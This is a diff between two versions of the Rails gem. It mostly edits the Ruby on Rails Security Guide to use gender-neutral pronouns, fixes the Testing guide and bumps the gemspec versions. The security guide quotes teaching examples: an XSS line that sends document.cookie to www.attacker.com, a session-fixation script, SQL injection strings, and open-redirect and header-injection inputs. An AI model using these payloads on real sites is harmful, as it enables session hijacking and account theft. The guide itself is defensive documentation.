84
  add_source "http://code.whytheluckystiff.net"
@@ -17,7 +17,7 @@ After reading this guide, you will know:
17
17
  Introduction
18
18
  ------------
19
19
 
20
- Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
20
+ Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
21
21
 
22
22
  In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
23
23
 
@@ -70,7 +70,7 @@ Hence, the cookie serves as temporary authentication for the web application. Ev
70
70
 
71
71
  * Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
72
72
 
73
- * Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
73
+ * Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.
74
74
 
75
75
  The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
76
76
 
@@ -111,9 +111,9 @@ It works like this:
111
111
 
112
112
  * A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
113
113
  * The user buys something.
114
- * His new, lower credit will be stored in the session.
115
- * The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
116
- * The user has his credit back.
114
+ * Their new, lower credit will be stored in the session.
115
+ * The dark side of the user forces them to take the cookie from the first step (which they copied) and replace the current cookie in the browser.
116
+ * The user has their credit back.
117
117
 
118
118
  Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
119
119
 
@@ -121,14 +121,14 @@ The best _solution against it is not to store this kind of data in a session, bu
121
121
 
122
122
  ### Session Fixation
123
123
 
124
- NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
124
+ NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._
125
125
 
126
126
  ![Session fixation](images/session_fixation.png)
127
127
 
128
128
  This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
129
129
 
130
- * The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
131
- * He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
130
+ * The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image).
131
+ * They possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore they access the web application from time to time in order to keep the session alive.
132
132
  * Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
133
133
  * The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
134
134
  * As the new trap session is unused, the web application will require the user to authenticate.
@@ -249,7 +249,7 @@ end
249
249
 
250
250
  The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request.
251
251
 
252
- Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
252
+ Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
253
253
 
254
254
  Redirection and Files
255
255
  ---------------------
@@ -258,7 +258,7 @@ Another class of security vulnerabilities surrounds the use of redirection and f
258
258
 
259
259
  ### Redirection
260
260
 
261
- WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
261
+ WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._
262
262
 
263
263
  Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
264
264
 
@@ -268,7 +268,7 @@ def legacy
268
268
  end
269
269
  ```
270
270
 
271
- This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
271
+ This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:
272
272
 
273
273
  ```
274
274
  http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
@@ -354,9 +354,9 @@ Refer to the Injection section for countermeasures against XSS. It is _recommend
354
354
 
355
355
  **CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
356
356
 
357
- A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
357
+ A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.
358
358
 
359
- Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

359
+ Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.

360
360
 
361
361
  Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
362
362
 
@@ -379,7 +379,7 @@ NOTE: _Almost every web application has to deal with authorization and authentic
379
379
 
380
380
  There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
381
381
 
382
- Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
382
+ Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator):
383
383
 
384
384
  ```
385
385
  http://localhost:3006/user/activate
@@ -398,7 +398,7 @@ If the parameter was nil, the resulting SQL query will be
398
398
  SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
399
399
  ```
400
400
 
401
- And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
401
+ And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
402
402
 
403
403
  ### Brute-Forcing Accounts
404
404
 
@@ -418,24 +418,24 @@ Many web applications make it easy to hijack user accounts. Why not be different
418
418
 
419
419
  #### Passwords
420
420
 
421
- Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
421
+ Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
422
422
 
423
423
  #### E-Mail
424
424
 
425
- However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
425
+ However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
426
426
 
427
427
  #### Other
428
428
 
429
- Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
429
+ Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
430
430
 
431
431
  ### CAPTCHAs
432
432
 
433
- INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
433
+ INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._
434
434
 
435
435
  But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API.
436
436
 
437
437
  You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
438
- The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
438
+ The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot.
439
439
 
440
440
  Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
441
441
 
@@ -528,7 +528,7 @@ The most common parameter that a user might tamper with, is the id parameter, as
528
528
  @project = Project.find(params[:id])
529
529
  ```
530
530
 
531
- This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_:
531
+ This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_:
532
532
 
533
533
  ```ruby
534
534
  @project = @current_user.projects.find(params[:id])
@@ -571,7 +571,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap
571
571
  Project.where("name = '#{params[:name]}'")
572
572
  ```
573
573
 
574
- This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
574
+ This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
575
575
 
576
576
  ```sql
577
577
  SELECT * FROM projects WHERE name = '' OR 1 --'
@@ -581,7 +581,7 @@ The two dashes start a comment ignoring everything after it. So the query return
581
581
 
582
582
  #### Bypassing Authorization
583
583
 
584
- Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
584
+ Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
585
585
 
586
586
  ```ruby
587
587
  User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
@@ -679,7 +679,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
679
679
  <script>document.write(document.cookie);</script>
680
680
  ```
681
681
 
682
- For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
682
+ For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.
683
683
 
684
684
  ```html
685
685
  <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
@@ -888,7 +888,7 @@ HTTP/1.1 302 Moved Temporarily
888
888
  Location: http://www.malicious.tld
889
889
  ```
890
890
 
891
- So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
891
+ So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
892
892
 
893
893
  #### Response Splitting
894
894
 
@@ -175,7 +175,7 @@ class PostTest < ActiveSupport::TestCase
175
175
 
176
176
  The `PostTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `PostTest` thus has all the methods available from `ActiveSupport::TestCase`. You'll see those methods a little later in this guide.
177
177
 
178
- Any method defined within a class inherited from `MiniTest::Unit::TestCase`
178
+ Any method defined within a class inherited from `MiniTest::Unit::TestCase`
179
179
  (which is the superclass of `ActiveSupport::TestCase`) that begins with `test` (case sensitive) is simply called a test. So, `test_password`, `test_valid_password` and `testValidPassword` all are legal test names and are run automatically when the test case is run.
180
180
 
181
181
  Rails adds a `test` method that takes a test name and a block. It generates a normal `MiniTest::Unit` test with method names prefixed with `test_`. So,
@@ -773,7 +773,7 @@ class UserFlowsTest < ActionDispatch::IntegrationTest
773
773
  u = users(user)
774
774
  sess.https!
775
775
  sess.post "/login", username: u.username, password: u.password
776
- assert_equal '/welcome', path
776
+ assert_equal '/welcome', sess.path
777
777
  sess.https!(false)
778
778
  end
779
779
  end
@@ -783,18 +783,23 @@ end
783
783
  Rake Tasks for Running your Tests
784
784
  ---------------------------------
785
785
 
786
- You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of commands to help in testing. The table below lists all commands that come along in the default Rakefile when you initiate a Rails project.
787
-
788
- | Tasks | Description |
789
- | ------------------------ | ----------- |
790
- | `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake test` as Rails will run all the tests by default|
791
- | `rake test:controllers` | Runs all the controller tests from `test/controllers`|
792
- | `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional`|
793
- | `rake test:helpers` | Runs all the helper tests from `test/helpers`|
794
- | `rake test:integration` | Runs all the integration tests from `test/integration`|
795
- | `rake test:mailers` | Runs all the mailer tests from `test/mailers`|
796
- | `rake test:models` | Runs all the model tests from `test/models`|
797
- | `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit`|
786
+ You don't need to set up and run your tests by hand on a test-by-test basis.
787
+ Rails comes with a number of commands to help in testing.
788
+ The table below lists all commands that come along in the default Rakefile
789
+ when you initiate a Rails project.
790
+
791
+ | Tasks | Description |
792
+ | ----------------------- | ----------- |
793
+ | `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as Rails will run all the tests by default |
794
+ | `rake test:controllers` | Runs all the controller tests from `test/controllers` |
795
+ | `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional` |
796
+ | `rake test:helpers` | Runs all the helper tests from `test/helpers` |
797
+ | `rake test:integration` | Runs all the integration tests from `test/integration` |
798
+ | `rake test:mailers` | Runs all the mailer tests from `test/mailers` |
799
+ | `rake test:models` | Runs all the model tests from `test/models` |
800
+ | `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit` |
801
+ | `rake test:all` | Runs all tests quickly by merging all types and not resetting db |
802
+ | `rake test:all:db` | Runs all tests quickly by merging all types and resetting db |
798
803
 
799
804
  There're also some test commands which you can initiate by running rake tasks:
800
805
 
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rails
3
3
  version: !ruby/object:Gem::Version
4
- version: 4.0.3
4
+ version: 4.0.4.rc1
5
5
  platform: ruby
6
6
  authors:
7
7
  - David Heinemeier Hansson
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2014-02-18 00:00:00.000000000 Z
11
+ date: 2014-03-11 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: activesupport
@@ -16,70 +16,70 @@ dependencies:
16
16
  requirements:
17
17
  - - '='
18
18
  - !ruby/object:Gem::Version
19
- version: 4.0.3
19
+ version: 4.0.4.rc1
20
20
  type: :runtime
21
21
  prerelease: false
22
22
  version_requirements: !ruby/object:Gem::Requirement
23
23
  requirements:
24
24
  - - '='
25
25
  - !ruby/object:Gem::Version
26
- version: 4.0.3
26
+ version: 4.0.4.rc1
27
27
  - !ruby/object:Gem::Dependency
28
28
  name: actionpack
29
29
  requirement: !ruby/object:Gem::Requirement
30
30
  requirements:
31
31
  - - '='
32
32
  - !ruby/object:Gem::Version
33
- version: 4.0.3
33
+ version: 4.0.4.rc1
34
34
  type: :runtime
35
35
  prerelease: false
36
36
  version_requirements: !ruby/object:Gem::Requirement
37
37
  requirements:
38
38
  - - '='
39
39
  - !ruby/object:Gem::Version
40
- version: 4.0.3
40
+ version: 4.0.4.rc1
41
41
  - !ruby/object:Gem::Dependency
42
42
  name: activerecord
43
43
  requirement: !ruby/object:Gem::Requirement
44
44
  requirements:
45
45
  - - '='
46
46
  - !ruby/object:Gem::Version
47
- version: 4.0.3
47
+ version: 4.0.4.rc1
48
48
  type: :runtime
49
49
  prerelease: false
50
50
  version_requirements: !ruby/object:Gem::Requirement
51
51
  requirements:
52
52
  - - '='
53
53
  - !ruby/object:Gem::Version
54
- version: 4.0.3
54
+ version: 4.0.4.rc1
55
55
  - !ruby/object:Gem::Dependency
56
56
  name: actionmailer
57
57
  requirement: !ruby/object:Gem::Requirement
58
58
  requirements:
59
59
  - - '='
60
60
  - !ruby/object:Gem::Version
61
- version: 4.0.3
61
+ version: 4.0.4.rc1
62
62
  type: :runtime
63
63
  prerelease: false
64
64
  version_requirements: !ruby/object:Gem::Requirement
65
65
  requirements:
66
66
  - - '='
67
67
  - !ruby/object:Gem::Version
68
- version: 4.0.3
68
+ version: 4.0.4.rc1
69
69
  - !ruby/object:Gem::Dependency
70
70
  name: railties
71
71
  requirement: !ruby/object:Gem::Requirement
72
72
  requirements:
73
73
  - - '='
74
74
  - !ruby/object:Gem::Version
75
- version: 4.0.3
75
+ version: 4.0.4.rc1
76
76
  type: :runtime
77
77
  prerelease: false
78
78
  version_requirements: !ruby/object:Gem::Requirement
79
79
  requirements:
80
80
  - - '='
81
81
  - !ruby/object:Gem::Version
82
- version: 4.0.3
82
+ version: 4.0.4.rc1
83
83
  - !ruby/object:Gem::Dependency
84
84
  name: bundler
85
85
  requirement: !ruby/object:Gem::Requirement
@@ -426,7 +426,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
426
426
  version: 1.8.11
427
427
  requirements: []
428
428
  rubyforge_project:
429
- rubygems_version: 2.2.0
429
+ rubygems_version: 2.2.2
430
430
  signing_key:
431
431
  specification_version: 4
432
432
  summary: Full-stack web application framework.